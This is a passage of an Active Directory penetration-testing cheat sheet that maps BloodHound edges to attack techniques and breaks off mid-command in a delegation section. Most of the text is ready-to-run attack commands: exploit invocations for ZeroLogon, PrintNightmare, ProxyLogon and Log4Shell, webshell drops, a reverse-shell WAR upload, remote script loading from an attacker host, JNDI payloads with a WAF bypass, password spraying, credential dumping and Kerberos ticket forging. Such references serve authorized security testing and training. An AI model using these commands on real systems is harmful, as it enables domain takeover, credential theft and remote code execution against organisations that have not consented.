Active Directory

Comprehensive Active Directory pentest reference. Domain enumeration, Kerberos attacks, credential harvesting, lateral movement, persistence, privilege escalation, ADCS (ESC1-ESC16, PERSIST/DPERSIST), NTLM relay, delegation abuse, and trust attacks. Based on Orange CyberDefense and SpecterOps methodologies.

#AD Pentest Mindmap

#Interactive Attack Tree (OCD Methodology)

Complete AD pentest mindmap based on Orange CyberDefense methodology. Click nodes to expand, search for any technique or tool.

0 techniques - 0 visible - 8 categories
Click a technique node to view its details here

#AD Pentest Advisor

#Step-by-Step Guide

Answer questions about your current access level and the advisor recommends the right techniques and commands.

AD Pentest Advisor

Step-by-step advisor for Active Directory pentesting based on Orange CyberDefense methodology. Select your current access level, then pick a technique.

#BloodHound Edge Reference

#AD Edge to Section Map

Cross-reference of every AD / AD-CS BloodHound edge and where it is documented in this cheatsheet. Use this when a BH path shows an edge name and you need the matching exploitation workflow.

Edge Attack Family Section
MemberOf Membership Domain Enumeration
HasSession Sessions Credential Harvesting
AdminTo Local Admin Lateral Movement
CanPSRemote WinRM Lateral Movement
CanRDP RDP Lateral Movement
ExecuteDCOM DCOM Lateral Movement
SQLAdmin MSSQL Lateral Movement
RemoteInteractiveLogonRight URA Lateral Movement
GenericAll DACL ACL & Permissions Abuse
GenericWrite DACL ACL & Permissions Abuse
AllExtendedRights DACL ACL & Permissions Abuse
WriteDacl DACL ACL & Permissions Abuse
WriteOwner DACL WriteOwner -> owneredit -> dacledit
Owns DACL Owner Rights / Limited Rights
OwnsRaw DACL Owner Rights / Limited Rights
OwnsLimitedRights DACL Owner Rights / Limited Rights
WriteOwnerRaw DACL Owner Rights / Limited Rights
WriteOwnerLimitedRights DACL Owner Rights / Limited Rights
ForceChangePassword DACL GenericAll / GenericWrite on User
AddMember DACL GenericAll / GenericWrite on Group
AddSelf DACL AddSelf vs AddMember
WriteSPN DACL GenericAll / GenericWrite on User
WriteGPLink DACL OU Abuse (OUned.py)
WriteAccountRestrictions DACL WriteAccountRestrictions -> RBCD
AddKeyCredentialLink DACL Shadow Credentials
Contains Structural OU Abuse (OUned.py)
GPLink Structural OU Abuse (OUned.py)
DCFor Structural Domain Enumeration
LocalToComputer Structural Lateral Movement
MemberOfLocalGroup Structural Lateral Movement
DCSync Replication DCSync Backdoor
GetChanges Replication DCSync Backdoor
GetChangesAll Replication DCSync Backdoor
GetChangesInFilteredSet Replication DirSync LAPS Abuse
SyncLAPSPassword Replication DirSync LAPS Abuse
ReadLAPSPassword LAPS LAPS Password Read
ReadGMSAPassword gMSA gMSA Password Read
DumpSMSAPassword sMSA sMSA Standalone Managed Service Account
ProtectAdminGroups Persistence AdminSDHolder
AllowedToAct Delegation RBCD
AddAllowedToAct Delegation RBCD
AllowedToDelegate Delegation Constrained Delegation
CoerceToTGT Delegation Unconstrained Delegation
AbuseTGTDelegation Delegation Cross-Forest Unconstrained Delegation
HasSIDHistory Trust Parent-Child Trust
SpoofSIDHistory Trust Parent-Child Trust
HasTrustKeys Trust Trust Key Extraction
CrossForestTrust Trust Forest Trust
SameForestTrust Trust Parent-Child Trust
ClaimSpecialIdentity Trust Claim Special Identity
SyncedToADUser Hybrid Hybrid Identity Edges
SyncedToEntraUser Hybrid Hybrid Identity Edges
ADCSESC1 ADCS ESC1 - Enrollee Supplies Subject
ADCSESC3 ADCS ESC3 - Certificate Request Agent EKU
ADCSESC4 ADCS ESC4 - Template ACL Takeover
ADCSESC6a ADCS ESC6a vs ESC6b
ADCSESC6b ADCS ESC6a vs ESC6b
ADCSESC9a ADCS ESC9 / ESC10 - UPN Swap
ADCSESC9b ADCS ESC9b / ESC10b - Computer Variant
ADCSESC10a ADCS ESC9 / ESC10 - UPN Swap
ADCSESC10b ADCS ESC9b / ESC10b - Computer Variant
ADCSESC13 ADCS ESC13 - OID Group Link
Enroll ADCS ADCS Exploitation
EnrollOnBehalfOf ADCS ESC3 - Certificate Request Agent EKU
DelegatedEnrollmentAgent ADCS ESC3 - Certificate Request Agent EKU
ManageCA ADCS ESC7 - ManageCA / ManageCertificates
ManageCertificates ADCS ESC7 - ManageCA / ManageCertificates
GoldenCert ADCS Golden Certificate
WritePKIEnrollmentFlag ADCS ESC4 - Template ACL Takeover
WritePKINameFlag ADCS ESC4 - Template ACL Takeover
OIDGroupLink ADCS ESC13 - OID Group Link
ExtendedByPolicy ADCS ADCS Structural Edges
EnterpriseCAFor ADCS ADCS Structural Edges
HostsCAService ADCS ADCS Structural Edges
IssuedSignedBy ADCS ADCS Structural Edges
NTAuthStoreFor ADCS ADCS Structural Edges
RootCAFor ADCS ADCS Structural Edges
TrustedForNTAuth ADCS ADCS Structural Edges
PublishedTo ADCS ADCS Structural Edges
CoerceAndRelayNTLMToSMB Relay NTLM Relay & Coercion
CoerceAndRelayNTLMToLDAP Relay NTLM Relay & Coercion
CoerceAndRelayNTLMToLDAPS Relay NTLM Relay & Coercion
CoerceAndRelayNTLMToADCS Relay ESC8 - Relay to Web Enrollment

Persistence certificate edges (PERSIST1-3) and forest-level backdoor edges (DPERSIST1-3) are documented in Account & Domain Persistence via Certificates.

#Pentest Methodology

#AD Attack Flow

Structured approach to Active Directory compromise. Each phase builds on the previous one. The goal is to go from zero access to full domain dominance.

Phase Goal Key Tools
Recon Map the domain, find attack surface BloodHound, PowerView, ldapsearch, NetExec
Initial Access Get domain credentials Password spray, LLMNR/NBT-NS poisoning, Responder, relay
Enumeration Map users, groups, ACLs, trusts BloodHound, SharpView, LDAP queries
Privilege Escalation DA/EA from low-priv user Kerberoast, AS-REP Roast, ACL abuse, ADCS, delegation
Lateral Movement Spread across the domain PtH, PtT, PSExec, WMI, WinRM, DCOM, RDP
Credential Harvesting Dump hashes, tickets, secrets Mimikatz, secretsdump, NTDS.dit, LSASS
Persistence Maintain access Golden/Silver Ticket, Skeleton Key, DCSync, ADCS certs
Domain Dominance Full control DCSync all, NTDS dump, forest trust abuse

Decision flow: Got creds? -> Enumerate (BloodHound) -> Find shortest path to DA -> Kerberoast/ACL abuse/delegation -> Lateral move -> Dump creds -> Escalate -> Persist -> Dominate.

If no creds: Responder/relay -> crack hash or relay to LDAP/ADCS -> get first foothold -> repeat above.

Bootstrap recon before AD-specific work: run nmap -sC -sV, nuclei -t cves/ -u https://target, and searchsploit <product> <version> on every service you find. Vendor CVEs (see next section) are often the shortest path to a foothold on HTB-style boxes and real engagements.

#Initial Access & Vendor CVEs

#ZeroLogon (CVE-2020-1472)

Netlogon flaw allowing an unauthenticated attacker to reset a Domain Controller's machine account password to an empty value, enabling immediate DCSync. CVSS 10.0.

Requirements: Network access to DC on port 445/135. DC unpatched (pre August 2020). Impact: Full domain compromise from an unauthenticated position.

# Detect
nxc smb dc01 -u '' -p '' -M zerologon
python3 zerologon_tester.py DC01 10.10.10.1

# Exploit - reset DC machine account password to empty
python3 cve-2020-1472-exploit.py DC01 10.10.10.1
# Or: python3 set_empty_pw.py DC01 10.10.10.1

# DCSync with empty machine hash (31d6cfe0d16ae931b73c59d7e0c089c0 = empty NT)
secretsdump.py -no-pass -just-dc \
  -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 \
  'domain.local/[email protected]'

# Restore DC machine password afterwards (CRITICAL - breaks domain otherwise)
python3 restorepassword.py DC01@DC01 -target-ip 10.10.10.1 \
  -hexpass <hex_from_secretsdump>

#EternalBlue (MS17-010 / CVE-2017-0144)

SMBv1 RCE as SYSTEM on unpatched Windows (pre March 2017). Still seen on legacy 2008R2 / XP / 2003 in AD environments.

# Detect
nxc smb 10.10.10.0/24 -u '' -p '' | grep -i "signing:False"
nmap -p445 --script smb-vuln-ms17-010 10.10.10.0/24

# Metasploit
msfconsole -q -x 'use exploit/windows/smb/ms17_010_eternalblue; \
  set RHOSTS 10.10.10.5; set LHOST tun0; run'

# Standalone Python (worawit MS17-010 toolkit)
python3 MS17-010/checker.py 10.10.10.5
python3 MS17-010/zzz_exploit.py 10.10.10.5 svcctl

#PrintNightmare (CVE-2021-1675 / CVE-2021-34527)

Print Spooler allows any authenticated user to load an arbitrary DLL as SYSTEM on a remote host where Spooler is running (including DCs). Both a local and a remote variant exist.

# Detect spooler service
nxc smb 10.10.10.0/24 -u user -p pass -M spooler

# Host evil DLL on SMB share (impacket smbserver)
smbserver.py -smb2support share /tmp/share

# Trigger RCE (Impacket port of @cube0x0 PoC)
python3 CVE-2021-1675.py domain.local/user:pass@dc01 '\\ATTACKER\share\evil.dll'

# PowerShell variant (Invoke-Nightmare) - adds a local admin
Import-Module .\CVE-2021-1675.ps1
Invoke-Nightmare -NewUser hacker -NewPassword 'Passw0rd!'

#ProxyLogon (CVE-2021-26855)

Exchange Server SSRF + post-auth RCE chain. Pre-auth webshell as SYSTEM on Exchange.

# Detect
nuclei -t http/cves/2021/CVE-2021-26855.yaml -u https://exchange
curl -k "https://exchange/owa/auth/x.js" \
  -H "Cookie: X-AnonResource-Backend=exchange/ecp/default.flt?~3;"

# Exploit (drop ASPX webshell)
python3 proxylogon.py https://exchange [email protected]
# Webshell lands in /aspnet_client/
curl -k "https://exchange/aspnet_client/shell.aspx?cmd=whoami"

#ProxyShell (CVE-2021-34473 + 34523 + 31207)

Exchange chain: SSRF + privesc + arbitrary file write. Pre-auth RCE as SYSTEM.

# Detect
nuclei -t http/cves/2021/CVE-2021-34473.yaml -u https://exchange

# Exploit (drop webshell via mailbox export)
python3 proxyshell_rce.py -u https://exchange -e [email protected]
# Webshell URL printed on success

# Manual chain
python3 proxyshell.py https://exchange [email protected]

#ProxyNotShell (CVE-2022-41040 + CVE-2022-41082)

Authenticated SSRF + deserialization in Exchange. RCE as SYSTEM with any mailbox user.

python3 proxynotshell.py -u [email protected] -p 'pass' \
  -e https://exchange -c 'powershell -enc <b64>'

#Log4Shell (CVE-2021-44228)

JNDI injection in Log4j <=2.14.1. RCE via any user-controlled string that gets logged.

# Payload formats
${jndi:ldap://attacker:1389/a}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attacker:1389/a}   # WAF bypass

# Rogue LDAP + HTTP server (marshalsec)
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer \
  "http://ATTACKER:8000/#Exploit"
python3 -m http.server 8000

# All-in-one: rogue-jndi
java -jar RogueJndi-1.1.jar \
  --command "bash -c {echo,<b64>}|{base64,-d}|{bash,-i}" \
  --hostname ATTACKER
# Trigger: User-Agent: ${jndi:ldap://ATTACKER:1389/o=tomcat}

#Veeam Backup CVEs

Veeam B&R stores credentials for every backup target in its SQL DB (often including DA). Multiple unauth / auth CVEs exist.

# CVE-2023-27532 - Veeam B&R unauth cred leak on tcp/9401
python3 CVE-2023-27532.py -t VEEAM_IP
# Extracts encrypted credentials via .NET Remoting from the VeeamBackup SQL DB
# Decrypt with Veeam-Get-Creds.ps1 on the Veeam server (uses DPAPI machine key)
.\Veeam-Get-Creds.ps1

# CVE-2024-29849 - Veeam Backup Enterprise Manager auth bypass (SAML assertion)
python3 CVE-2024-29849.py -t https://veeam-bem:9443

# CVE-2024-29855 - Veeam Recovery Orchestrator auth bypass (hardcoded JWT secret)
python3 CVE-2024-29855.py -t https://vro:9898

# CVE-2024-40711 - Veeam B&R unauth RCE via .NET deserialization
python3 CVE-2024-40711.py -t VEEAM_IP -c 'net user hacker P@ss! /add'

#GLPI (CVE-2023-41320 / CVE-2022-35914)

GLPI IT asset management platform. Common on HTB-style boxes and midsize enterprises.

# CVE-2022-35914 - unauth RCE via htmLawed
curl "https://glpi/vendor/htmlawed/htmlawed/htmLawedTest.php" \
  --data "hhook=exec&token=<csrf>&text=id"

# CVE-2023-41320 - SQLi in GLPI API (>=10.0.0, <10.0.10)
sqlmap -u "https://glpi/apirest.php/search/User?criteria[0][field]=1" \
  --headers "Session-Token: <token>" --dbs

#Tomcat / JBoss Manager Weak Credentials

Default / weak creds on /manager/html (Tomcat) or /jmx-console (JBoss) yield WAR/EAR upload RCE.

# Tomcat default creds spray
hydra -L users.txt -P passwords.txt tomcat-host http-get /manager/html
# Classic pairs: tomcat:tomcat, admin:admin, tomcat:s3cret, admin:tomcat

# Metasploit auto-deploy
msfconsole -q -x 'use exploit/multi/http/tomcat_mgr_deploy; \
  set RHOSTS tomcat; set HttpUsername tomcat; set HttpPassword tomcat; run'

# Manual WAR upload
msfvenom -p java/jsp_shell_reverse_tcp LHOST=tun0 LPORT=4444 -f war > shell.war
curl -u tomcat:tomcat --upload-file shell.war \
  "http://tomcat:8080/manager/text/deploy?path=/shell"
curl "http://tomcat:8080/shell/"

# JBoss jmx-console deploy
msfconsole -q -x 'use exploit/multi/http/jboss_maindeployer; set RHOSTS jboss; run'

#PrivExchange (CVE-2019-0724 / CVE-2018-8581)

Pre-patch Exchange server holds WriteDACL on the domain object by default. Coerce Exchange to authenticate to you via the EWS push notification API, then relay its machine account to LDAP and grant yourself DCSync.

# 1. Start relay listener targeting LDAP on DC
ntlmrelayx.py -t ldap://dc01 --escalate-user attacker -smb2support

# 2. Coerce Exchange via EWS PushSubscription
python3 privexchange.py -ah ATTACKER_IP exchange.domain.local \
  -u user -p pass -d domain.local

# 3. ntlmrelayx adds DCSync rights to 'attacker'
secretsdump.py domain.local/attacker:pass@dc01 -just-dc

#Outlook NTLM Leak (CVE-2023-23397)

Zero-click NTLM leak via a crafted calendar .msg with a UNC path in PidLidReminderFileParameter. Outlook auto-fetches the UNC on reminder, leaking Net-NTLMv2.

# Generate and send the malicious meeting request
python3 CVE-2023-23397.py --server 'ATTACKER_IP' \
  --sender [email protected] --recipient [email protected] \
  --subject 'Meeting' --smtp-server mail.domain.local

# Catch the hash on attacker host
sudo responder -I eth0 -dwPv
# -> hashcat -m 5600 netntlmv2.txt rockyou.txt

#Domain Enumeration

#PowerView / SharpView

PowerView (PowerShell) and SharpView (C#) provide the same functionality. PowerView is the go-to for AD enumeration from a domain-joined host.

# Load PowerView
Import-Module .\PowerView.ps1
# Or bypass AMSI first, then load in memory
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/PowerView.ps1')

# --- Users ---
Get-DomainUser                                    # All domain users
Get-DomainUser -Identity jdoe                     # Specific user
Get-DomainUser -SPN                               # Kerberoastable accounts
Get-DomainUser -PreauthNotRequired                # AS-REP Roastable
Get-DomainUser -AdminCount                        # AdminCount=1 (privileged)
Get-DomainUser -LDAPFilter "(description=*pass*)" # Passwords in description
Get-DomainUser -Properties samaccountname,lastlogon,pwdlastset | Sort-Object pwdlastset

# --- Groups ---
Get-DomainGroup -Identity "Domain Admins"
Get-DomainGroupMember -Identity "Domain Admins" -Recurse
Get-DomainGroupMember -Identity "Enterprise Admins" -Recurse
Get-DomainGroup -UserName jdoe                    # Groups for specific user
Get-DomainGroup -AdminCount                       # All privileged groups

# --- Computers ---
Get-DomainComputer                                # All computers
Get-DomainComputer -Ping                          # Only live hosts
Get-DomainComputer -OperatingSystem "*Server*"    # Servers only
Get-DomainComputer -Unconstrained                 # Unconstrained delegation
Get-DomainComputer -TrustedToAuth                 # Constrained delegation

# --- GPOs ---
Get-DomainGPO | Select-Object displayname,gpcfilesyspath
Get-DomainGPO -ComputerIdentity ws01              # GPOs applied to host
Get-DomainGPOLocalGroup                            # GPO-mapped local groups

# --- ACLs ---
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs
Find-InterestingDomainAcl -ResolveGUIDs           # ACLs worth exploiting
Get-DomainObjectAcl -SearchBase "CN=AdminSDHolder,CN=System,DC=domain,DC=local" -ResolveGUIDs

# --- Trusts ---
Get-DomainTrust                                    # Domain trusts
Get-ForestTrust                                    # Forest trusts
Get-DomainTrustMapping                             # Full trust map

# --- Sessions & Shares ---
Get-NetSession -ComputerName dc01                  # Active sessions on DC
Find-DomainUserLocation                            # Where domain admins are logged in
Find-LocalAdminAccess                              # Machines where current user is local admin
Invoke-ShareFinder -CheckShareAccess               # Accessible shares
Find-DomainShare -CheckShareAccess                 # Same, newer syntax

#LDAP Queries

Raw LDAP queries with ldapsearch. Works from Linux without domain join.

# Base authenticated query
LDAP="ldapsearch -x -H ldap://dc01.domain.local \
  -D '[email protected]' -w 'P@ssw0rd' \
  -b 'DC=domain,DC=local'"

# All users
$LDAP "(objectClass=user)" sAMAccountName userPrincipalName

# All computers
$LDAP "(objectClass=computer)" cn operatingSystem dNSHostName

# Domain Admins members
$LDAP "(memberOf=CN=Domain Admins,CN=Users,DC=domain,DC=local)" sAMAccountName

# Kerberoastable accounts (SPN set, not disabled, not krbtgt)
$LDAP "(&(objectClass=user)(servicePrincipalName=*)\
(!(cn=krbtgt))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))" \
  sAMAccountName servicePrincipalName

# AS-REP Roastable (DONT_REQUIRE_PREAUTH - UAC bit 4194304)
$LDAP "(userAccountControl:1.2.840.113556.1.4.803:=4194304)" \
  sAMAccountName

# Unconstrained delegation (UAC bit 524288)
$LDAP "(userAccountControl:1.2.840.113556.1.4.803:=524288)" \
  sAMAccountName dNSHostName

# Constrained delegation
$LDAP "(msDS-AllowedToDelegateTo=*)" \
  sAMAccountName msDS-AllowedToDelegateTo

# RBCD (Resource-Based Constrained Delegation)
$LDAP "(msDS-AllowedToActOnBehalfOfOtherIdentity=*)" \
  sAMAccountName

# LAPS passwords (requires rights)
$LDAP "(ms-Mcs-AdmPwd=*)" cn ms-Mcs-AdmPwd ms-Mcs-AdmPwdExpirationTime

# Users with password in description
$LDAP "(&(objectClass=user)(description=*pass*))" \
  sAMAccountName description

# Accounts with no password expiry
$LDAP "(userAccountControl:1.2.840.113556.1.4.803:=65536)" \
  sAMAccountName

#Active Directory Module (RSAT)

Microsoft's official AD PowerShell module. Less likely to be flagged by security tools than PowerView.

# Import without RSAT installed (copy DLLs from a machine with RSAT)
Import-Module .\Microsoft.ActiveDirectory.Management.dll
Import-Module .\ActiveDirectory\ActiveDirectory.psd1

# --- Users ---
Get-ADUser -Filter * -Properties *
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}
Get-ADUser -Filter {Enabled -eq $true} -Properties LastLogonDate | Sort-Object LastLogonDate

# --- Groups ---
Get-ADGroup -Filter * | Select-Object Name
Get-ADGroupMember -Identity "Domain Admins" -Recursive
Get-ADPrincipalGroupMembership -Identity jdoe

# --- Computers ---
Get-ADComputer -Filter * -Properties OperatingSystem,LastLogonDate
Get-ADComputer -Filter {TrustedForDelegation -eq $true}
Get-ADComputer -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo

# --- Domain Info ---
Get-ADDomain
Get-ADForest
Get-ADTrust -Filter *

# --- OUs and GPOs ---
Get-ADOrganizationalUnit -Filter * | Select-Object Name,DistinguishedName
Get-GPO -All | Select-Object DisplayName,Id,ModificationTime

#Quick Wins

High-value enumeration commands to run first.

# Where are Domain Admins logged in?
Find-DomainUserLocation
Invoke-UserHunter -GroupName "Domain Admins"

# Accessible shares with interesting files
Invoke-ShareFinder -CheckShareAccess
Invoke-FileFinder -ShareList shares.txt -Terms password,cred,secret,vnc,.kdbx

# Machines where you are local admin
Find-LocalAdminAccess
# NetExec equivalent (from Linux)
netexec smb 10.10.10.0/24 -u user -p 'pass' --local-auth --sam

# Password policy (for spray threshold)
Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess
net accounts /domain

# MachineAccountQuota (default 10 - used for RBCD attacks)
Get-DomainObject -Identity "DC=domain,DC=local" -Properties ms-DS-MachineAccountQuota

# Domain Controllers
nltest /dclist:domain.local
nslookup -type=srv _ldap._tcp.dc._msdcs.domain.local

# Domain SID (needed for Golden Ticket)
Get-DomainSID

#Kerbrute (Userenum + Spray)

kerbrute uses Kerberos pre-auth (AS-REQ) for silent username enumeration and password spraying. Failed pre-auth probes do NOT increment badPwdCount on most Windows versions, making it safer than SMB spraying.

# Username enumeration (no creds, no Windows event logs on most DCs)
kerbrute userenum -d domain.local --dc dc01 users.txt
kerbrute userenum -d domain.local --dc dc01 \
  /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

# ALWAYS pull the password policy FIRST to avoid locking accounts
nxc smb dc01 -u user -p pass --pass-pol
ldeep ldap -u user -p pass -d domain.local -s ldap://dc01 pass_pol
# Stay at least 1 attempt below threshold, space sprays across the lockout window

# Password spray a single password against all users
kerbrute passwordspray -d domain.local --dc dc01 users.txt 'Winter2024!'

# Spray with NT hash instead of plaintext
kerbrute passwordspray --dc dc01 -d domain.local users.txt --hash <NT>

# BruteUser (one user, many passwords - WILL lock the account)
kerbrute bruteuser -d domain.local --dc dc01 passwords.txt target_user

# Alternative sprays
nxc smb dc01 -u users.txt -p 'Winter2024!' --continue-on-success
nxc ldap dc01 -u users.txt -p passwords.txt

#Kerberos Attacks

#AS-REP Roasting

Targets accounts where Kerberos pre-authentication is disabled (DONT_REQUIRE_PREAUTH). Without pre-auth, anyone can request an AS-REP for these users. The KDC responds with data encrypted using the user's password hash, which can be cracked offline.

Requirements: No credentials needed if you have a username list. With creds, you can auto-discover vulnerable accounts.

# Impacket - from username list (no creds needed)
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.1 \
  -format hashcat -outputfile asrep.txt

# Impacket - with creds (auto-find vulnerable users)
GetNPUsers.py domain.local/user:pass -dc-ip 10.10.10.1 \
  -request -format hashcat -outputfile asrep.txt

# Rubeus (from Windows)
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
.\Rubeus.exe asreproast /user:target /format:hashcat

# NetExec
netexec ldap dc01 -u user -p 'pass' -d domain.local --asreproast asrep.txt

# Crack with hashcat (mode 18200)
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule

Tip: If you have GenericWrite/GenericAll on a user, you can disable pre-auth yourself:

Set-DomainObject -Identity target -XOR @{userAccountControl=4194304}

#Kerberoasting

Any domain user can request a TGS for any service with an SPN. The TGS is encrypted with the service account's NTLM hash. If the service runs under a user account (not a computer account), the hash is often crackable.

Requirements: Any valid domain credentials.

# Impacket - find SPNs and request tickets
GetUserSPNs.py domain.local/user:pass -dc-ip 10.10.10.1 \
  -request -outputfile kerberoast.txt

# Target specific user
GetUserSPNs.py domain.local/user:pass -dc-ip 10.10.10.1 \
  -request-user svc_mssql -outputfile kerberoast.txt

# Rubeus (from Windows)
.\Rubeus.exe kerberoast /outfile:kerberoast.txt
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:kerberoast.txt
.\Rubeus.exe kerberoast /rc4opsec /outfile:kerberoast.txt   # Avoid AES downgrade detection

# NetExec
netexec ldap dc01 -u user -p 'pass' -d domain.local --kerberoasting kerberoast.txt

# Crack with hashcat (mode 13100 for RC4, 19600 for AES-128, 19700 for AES-256)
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule

Targeted Kerberoasting: If you have GenericWrite/GenericAll on a user, set an SPN on them:

Set-DomainObject -Identity target -Set @{serviceprincipalname='fake/spn'}
# Kerberoast, then clean up
Set-DomainObject -Identity target -Clear serviceprincipalname

#Golden Ticket

Forge a TGT for any user (including non-existent ones) using the krbtgt account's NTLM hash. This gives unlimited access to everything in the domain. The ticket is valid until the krbtgt password is changed twice.

Requirements: krbtgt NTLM hash + domain SID.

# Get krbtgt hash (requires DA or DCSync rights)
secretsdump.py domain.local/admin:pass@dc01 -just-dc-user krbtgt

# Get domain SID
lookupsid.py domain.local/admin:pass@dc01

# Forge with Impacket
ticketer.py -nthash <krbtgt_hash> -domain-sid S-1-5-21-... \
  -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass domain.local/Administrator@dc01

# Forge with Mimikatz
kerberos::golden /user:Administrator /domain:domain.local \
  /sid:S-1-5-21-... /krbtgt:<hash> /ptt

# Forge with Rubeus
.\Rubeus.exe golden /rc4:<krbtgt_hash> /user:Administrator \
  /domain:domain.local /sid:S-1-5-21-... /ptt

#Silver Ticket

Forge a TGS for a specific service using the service account's NTLM hash. Unlike Golden Tickets, Silver Tickets never touch the KDC - they go directly to the target service, making them harder to detect.

Requirements: Service account NTLM hash + domain SID + target SPN.

# Common service SPNs:
# CIFS (file shares):  cifs/server.domain.local
# HTTP (web/WinRM):    http/server.domain.local
# MSSQL:               MSSQLSvc/server.domain.local:1433
# LDAP:                ldap/dc01.domain.local
# HOST:                host/server.domain.local

# Forge with Impacket
ticketer.py -nthash <svc_hash> -domain-sid S-1-5-21-... \
  -domain domain.local -spn cifs/server.domain.local Administrator
export KRB5CCNAME=Administrator.ccache
smbclient.py -k -no-pass domain.local/[email protected]

# Forge with Mimikatz
kerberos::golden /user:Administrator /domain:domain.local \
  /sid:S-1-5-21-... /target:server.domain.local \
  /service:cifs /rc4:<svc_hash> /ptt

# Forge with Rubeus
.\Rubeus.exe silver /rc4:<svc_hash> /user:Administrator \
  /domain:domain.local /sid:S-1-5-21-... \
  /service:cifs/server.domain.local /ptt

#noPac (CVE-2021-42278 + CVE-2021-42287)

Also known as sAMAccountName spoofing. Any authenticated user can create a computer (via MachineAccountQuota) and rename it to DC01 (without the $), causing the KDC to look up DC01$ when issuing S4U2Self/PAC. The result is a TGS as Administrator on the real DC.

Requirements: Any domain user. ms-DS-MachineAccountQuota > 0 (default 10). Unpatched DC. Impact: Any low-priv user to Domain Admin in seconds.

# Detect
nxc smb dc01 -u user -p pass -M nopac

# Exploit (full chain - creates machine, renames, requests TGS, psexec as admin)
python3 noPac.py -dc-ip 10.10.10.1 -dc-host dc01.domain.local \
  domain.local/user:'pass' \
  --impersonate Administrator -use-ldap -shell

# Just dump the ticket for reuse
python3 noPac.py -dc-ip 10.10.10.1 -dc-host dc01.domain.local \
  domain.local/user:'pass' \
  --impersonate Administrator -use-ldap -dump
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass dc01.domain.local -just-dc

# Scanner-friendly PoC (cube0x0)
python3 scanner.py domain.local/user:pass -dc-ip 10.10.10.1

#MS14-068 / GoldenPac (CVE-2014-6324)

Ancient but still alive on legacy 2008R2 DCs. Malformed PAC signature in TGS request lets any user forge DA group membership.

# Impacket one-liner (builds TGT with admin SID + psexec)
goldenPac.py domain.local/user:'pass'@dc01

# Python PoC (MS14-068.py)
python3 MS14-068.py -u [email protected] -p pass \
  -s S-1-5-21-... -d dc01.domain.local
# Produces [email protected] -> use with smbclient.py -k

#CVE-2022-33679 (Kerberos AS-REP RC4 Downgrade)

When a user has DONT_REQUIRE_PREAUTH set, the attacker can recover the NT hash directly from a single AS-REP without cracking, by exploiting an RC4 keystream reuse in the session key negotiation.

# No password guessing: recover NT hash from one AS-REP
python3 CVE-2022-33679.py domain.local/asrep_user -dc-ip 10.10.10.1
# Output: TGT + cleartext session key -> NT hash recovery

#Blind Kerberoasting

GetUserSPNs.py -no-preauth lets you use a pre-auth-disabled account (AS-REP roastable) as a "pivot" to request TGS tickets for any SPN, without ever knowing that pivot user's password. One ASREP-roastable user yields kerberoast hashes for the entire domain.

# You only need ONE username with DONT_REQUIRE_PREAUTH
GetUserSPNs.py -no-preauth asrep_user -usersfile users.txt \
  -dc-host dc01.domain.local domain.local/
# Optional: target specific SPN accounts
GetUserSPNs.py -no-preauth asrep_user -usersfile kerberoastable.txt \
  -dc-host dc01 domain.local/ -request

#Delegation Attacks

Kerberos delegation allows a service to act on behalf of a user to other services. Three types exist, each with different abuse paths.

#Unconstrained Delegation

Any service ticket sent to a host with unconstrained delegation includes the user's TGT. If you compromise that host, you capture every TGT that connects to it.

# Find unconstrained delegation hosts (DCs always have it - ignore them)
Get-DomainComputer -Unconstrained | Select-Object cn,dnshostname
# Abuse: Coerce a DC to authenticate to the compromised host
# 1. Start Rubeus to monitor for incoming TGTs
.\Rubeus.exe monitor /interval:5 /nowrap /filteruser:DC01$

# 2. Coerce DC authentication (from Linux)
# SpoolSample (Print Spooler - MS-RPRN)
python3 printerbug.py domain.local/user:pass@dc01 compromised-host

# PetitPotam (MS-EFSRPC)
python3 PetitPotam.py compromised-host dc01 -u user -p pass -d domain.local

# Coercer (tries multiple protocols)
python3 Coercer.py -u user -p pass -d domain.local -l compromised-host -t dc01

# 3. Rubeus captures DC01$ TGT -> inject it
.\Rubeus.exe ptt /ticket:<base64_ticket>

# 4. DCSync with the DC's identity
mimikatz# lsadump::dcsync /domain:domain.local /user:krbtgt

#Constrained Delegation

The service can only delegate to specific SPNs listed in msDS-AllowedToDelegateTo. Abuse uses S4U2Self (get a ticket as any user to yourself) + S4U2Proxy (use that ticket to request a ticket to the allowed SPN).

# Find constrained delegation
Get-DomainComputer -TrustedToAuth | Select-Object cn,msds-allowedtodelegateto
Get-DomainUser -TrustedToAuth | Select-Object cn,msds-allowedtodelegateto

# Abuse with Impacket (get service ticket as DA to target)
getST.py -spn cifs/server.domain.local -impersonate Administrator \
  domain.local/svc_sql:pass -dc-ip 10.10.10.1
export KRB5CCNAME=Administrator@[email protected]
smbclient.py -k -no-pass server.domain.local

# With NTLM hash
getST.py -spn cifs/server.domain.local -impersonate Administrator \
  -hashes :NTHASH domain.local/svc_sql -dc-ip 10.10.10.1

# Rubeus S4U chain
.\Rubeus.exe s4u /user:svc_sql /rc4:<hash> \
  /impersonateuser:Administrator \
  /msdsspn:cifs/server.domain.local /ptt

Note: The SPN in the ticket can be modified (alternate service name). If delegation is allowed to cifs/server, you can change it to ldap/server, http/server, etc.

#Resource-Based Constrained Delegation (RBCD)

Instead of the delegating service defining where it can delegate to, the target service defines who can delegate to it via msDS-AllowedToActOnBehalfOfOtherIdentity. If you can write to this attribute on a target, you can make any computer you control delegate to it.

# Requirements: GenericWrite/GenericAll on target computer + a computer account you control

# 1. Create a machine account (MachineAccountQuota default = 10)
addcomputer.py -computer-name EVIL$ -computer-pass 'P@ssw0rd' \
